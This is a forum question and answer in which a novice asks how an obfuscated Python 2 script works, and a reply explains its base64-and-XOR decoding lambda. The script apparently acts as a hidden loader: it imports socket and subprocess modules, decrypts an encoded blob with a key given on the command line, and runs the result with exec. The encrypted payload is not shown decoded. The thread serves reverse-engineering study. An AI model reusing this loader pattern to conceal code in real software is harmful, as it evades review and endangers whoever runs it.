I'm complete rookie in python coding and i am trying to reverse engineer script/program but struggling understanding the lambda/.join(chr(ord()) functions:
The code im trying to reverse engineer is following:
#!/usr/bin/env python
from itertools import cycle, izip
import base64, sys
import socket, subprocess, os, urllib
x = lambda a, b: ''.join(chr(ord(c)^ord(k)) for c,k in izip(base64.decodestring(a), cycle(b)))
c = """
EBF9em9mAARICEAAW0doVwVWQWhGAUpsWVJSTjleXkFcQUMTQlxQXFZFHxNERlNDQVhQVEBAGxNe
QB8XRkNfX15ROzl7eGBlEw4XEQALCxkCBwUdBgUGHQIDAhM5Y3hhZRMOFwUHBQU9OUJbVltfEQ4T
W1JcUVdWCRERaBJAbBMXFxERFhNER0MbXEQdVlZHVERVGxoeOUkTDhdfUF5RU1IRVwkXERMdWVha
XxtoVFtDG1xFVxlLGhdtEQNLAVYYE1VYQRFLE15dEVduHjk7QBMKE0JcUFxWRR1AWFBaVkcfQF5Q
WFJHH3J1aHp/dmcbE0JcUFxWRR1geHB6bGBjYXRyfh45Qh1QWF1fVlBDGxl7fGRnHRNjeGFlGho9
QB9AVllXGUsbRFtUX18fGhgaOT1EWVpfUhNlQUZSCTsTExcTUl5XFw4RSxtEHUNWUEEbAAMBAxoY
ORMXExFBVkRGXUcTChMTETkXExETWlETUl5XFw4MExFGRlhHEQ0TU0FWVlg7ExMXE1RfWlETUl5X
GUBFUkFDQEZaR18bE1BXFxEYCTkXExETExcTEUdBTgk7ExMXExETExcTERMTWEAfUFtTWkMbUFpX
agAJaho7ExMXExETExdWSVBWR0cLORMXExETExcTERMTF0FUQEZbRxEOExV9XhNAQlBZE1VeX1QT
XEUTVVpBUlBFXEFOEm1dET0TERMTUl9YVRNUXlUdQENSQ0dAQFpFWxsVVFRHExUaCzkTFxMRExMX
E0VBSg05ERMTFxMRExMXExETRkVfXVpRGWZjf1xHVl9WQR8aH0FWQ0FYVkVSG1JeV2wHC24fF1xC
HUNWR1kdUVZAVF1SWlYZUF5TaAUJbh4aOxMTFxMRExMXVklQVkdHEXZLVFZBR1pYXRFSQBdWCzkT
FxMRExMXExETExdBVEBGW0cRDhNER0MbVh4TGhMRa10TORMXExFWX15VEVBeUx1CR1JFR0JEWkNb
GRFWT1ZSExEeCTsTExcTERMTF0RYR1sXXEFWXR8UVEtWVB1FS0cQHxEURBAaEVJAF1ULORMXExET
ExcTERMTF0BEUUNFXFJWQEQdUlJfWxtSXldsBgtuHxdARVdcQkcMVR8XQEVXVkVBDFUaPRMRExMX
ExETQVJARF9HFw4REXZPVlJGR1JXHxN8QkdBRkcXWl8TVk9WUh1HT0dtXRE9ExETE1JfQlYJPRMR
ExMXExETQ0VcUhMOF0BEUUNFXFJWQEQdYVxDUl0ZORMXExETExcTERMTFxMRExNUXlUfORcTERMT
FxMRExMXExETExdAWVZfWw5lQUZSHzsTExcTERMTFxMRExMXExETQENXXkZHCkBEUUNFXFJWQEQd
YXpjch87ExMXExETExcTERMTFxMRE0BDV1RBQQpARFFDRVxSVkBEHWF6Y3IfOxMTFxMRExMXExET
ExcTERNAQ1dYXQ5ERlNDQVhQVEBAGWN4Y3YeORETExcTERMTRVZCRl9DEwwTQ0VcUh1AQ1deRkcZ
QVRSVx8aERgTR0FeUB1ER1VWQUUdQ1ZSUxsYORMXExFAHURWX1cbTxtDVkBCX0UTGBdAWVZfWxsY
Gho9QB9QX1hAVBsaPQ==
"""
exec(x(c, sys.argv[1]))
If i understand this correctly operator C is base64 encoded variable but it cannot be decoded straight away because it gets mangled at ''.join(chr(c)^ord(k))
which somehow uses the decoded version of C with cycling it through with sysargv value - but this is where i get completely lost; which one of the functions gets processed first, the XOR for C and K or the cycling with A and B?
Also, where is k coming from in this occasion, it shouldn't be sysargv is it set to b in the exec part of program, so is this something that is allready set by default by some of the imported modules?
Let's break it down:
x = lambda stuff: other_stuff
is almost exactly equivalent to
def x(stuff):
return other_stuff
So it's just defining a function that takes a
(the base64 encoded cyphertext) and b
(the key) and returns the decoded string.
Now, going from the inside to the outside:
base64.decodestring(a)
this simply decodes the base64 encoding of the cyphertext, and returns a decoded string
cycle(b)
Returns an iterator that cycles over b; e.g., if b is "abc"
the iterator will go on providing a, b, c, a, b, c, a, b, c,... forever.
izip(...)
Returns an iterator providing the "zipped" tuples of the two sequences; for example, if the first parameter is "12345"
and the second is cycle("abc")
it will provide ("1", "a"), ("2", "b"), ("3", "c"), ("4", "a"), ("5", "b")
.
chr(ord(c)^ord(k)) for c,k in izip(...)
This is a generator expression, which iterates over the result of izip
, unpacks these tuples above into c
and k
(the cyphertext and the key for each single byte) and calculates the deciphered byte by XOR-ing*(^
) their byte value (ord
) and re-composing the result into the corresponding character (chr
). The result is a generator that provides the decoded characters.
''.join(...)
Joins the characters provided by the generator expression into a single big string with the result.